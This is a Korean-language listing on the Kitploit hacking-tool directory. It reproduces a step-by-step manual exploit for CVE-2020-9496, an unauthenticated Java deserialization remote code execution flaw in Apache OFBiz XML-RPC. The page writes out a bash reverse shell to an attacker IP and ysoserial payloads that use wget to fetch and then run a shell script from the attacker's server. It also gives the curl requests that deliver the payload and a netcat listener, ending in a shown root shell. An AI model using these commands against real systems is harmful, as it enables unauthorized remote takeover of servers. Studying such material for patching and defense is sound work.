Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2020-9496 — CVE-2020-9496용 수동 익스플로잇, Apache OFBiz XML-RPC의 인증되지 않은 Java 역직렬화 RCE로, 페이로드 생성 및 리버스 셸을 위한 단계별 지침을 제공합니다. | Kitploit
도구/GitHubGitHub/cyber-niz/cve-2020-9496
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubcyber-niz/cve-2020-9496

CVE-2020-9496

CVE-2020-9496용 수동 익스플로잇, Apache OFBiz XML-RPC의 인증되지 않은 Java 역직렬화 RCE로, 페이로드 생성 및 리버스 셸을 위한 단계별 지침을 제공합니다.

저장소 보기
5년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2020-9496 - RCE

webtools의 2가지 xmlrpc 관련 요청(xmlrpc 및 ping)은 인증을 사용하지 않기 때문에 안전하지 않은 역직렬화에 취약합니다. 이 문제는 GitHub Security Lab 팀의 Alvaro Munoz [email protected]가 보안 팀에 보고했습니다.

이 취약점은 /webtools/control/xmlrpc로 전송되는 요청을 처리할 때 Java 직렬화 문제로 인해 발생합니다. 원격의 인증되지 않은 공격자는 조작된 요청을 전송하여 이 취약점을 악용할 수 있습니다. 성공적으로 악용하면 임의 코드 실행이 가능합니다.

영향을 받는 버전 17.12.01

수정된 버전 18.12.01, 17.12.04

원본 블로그: https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz/

이 POC가 동작하려면 쉘 스크립트를 드롭하고 curl을 통해 해당 파일을 실행/접근해야 합니다.

1단계: IP 주소와 포트 주소가 포함된 Bash 원라이너로 쉘 파일 생성.

root@kitploit:~
$ cat shell.sh
#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.x.x/1337 0>&1

2단계: 이제 이 파일을 HTTP 서비스로 제공해야 합니다.

root@kitploit:~
$ sudo python3 -m http.server 80

3단계: ysoserial을 사용해 페이로드 생성 - IP 변경

root@kitploit:~
$ ysoserial CommonsBeanutils1 "wget 10.10.x.x/shell.sh -O /tmp/shell.sh" | base64 | tr -d "\n"

4단계: 페이로드 출력 복사 - 매우 긴 문자열

root@kitploit:~
rO0ABXNyABdqYXZhLnV0..........................................................AAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==

5단계: 아래 curl 명령을 사용하여 페이로드를 실행합니다. extensions”> 뒤에 페이로드를 붙여넣으세요.

root@kitploit:~
$ curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0..........................................................AAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==</serializable></value></member></struct></value></param></params></methodCall>' -k  -H 'Content-Type:application/xml'

참고용 페이로드 없는 curl 명령

root@kitploit:~
$ curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions"></serializable></value></member></struct></value></param></params></methodCall>' -k  -H 'Content-Type:application/xml'

curl 명령 실행 후 HTTP 서버에 Hit이 발생했는지 확인

root@kitploit:~
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.x.x - - [29/Apr/2021 12:57:07] "GET /shell.sh HTTP/1.1" 200 -

보시다시피 HTTP 서버에서 Hit이 발생했습니다. 파일은 shell.sh라는 이름으로 /tmp 디렉터리에 다운로드되었습니다. 이제 해당 파일을 실행하려면 페이로드를 다시 생성하세요. 하지만 그 전에 netcat 리스너를 시작하세요.

6단계: NetCat 리스너 시작

root@kitploit:~
$ nc -lvnp 1337
listening on [any] 1337 ...

7단계: 이전에 다운로드한 쉘 스크립트를 실행할 페이로드 생성

root@kitploit:~
$ ysoserial CommonsBeanutils1 "bash /tmp/shell.sh" | base64 | tr -d "\n"

8단계: 출력을 복사하여 curl 명령 안에 붙여넣고 실행

root@kitploit:~
curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0..........................................................AAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==</serializable></value></member></struct></value></param></params></methodCall>' -k  -H 'Content-Type:application/xml'

10단계: NetCat 리스너에서 리버스 연결 확인

root@kitploit:~
$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.x.x] from (UNKNOWN) [10.129.x.x] 60006
bash: cannot set terminal process group (30): Inappropriate ioctl for device
bash: no job control in this shell
root@test:/usr/src/apache-ofbiz-17.12.01# id
id
uid=0(root) gid=0(root) groups=0(root)
도구 다운로드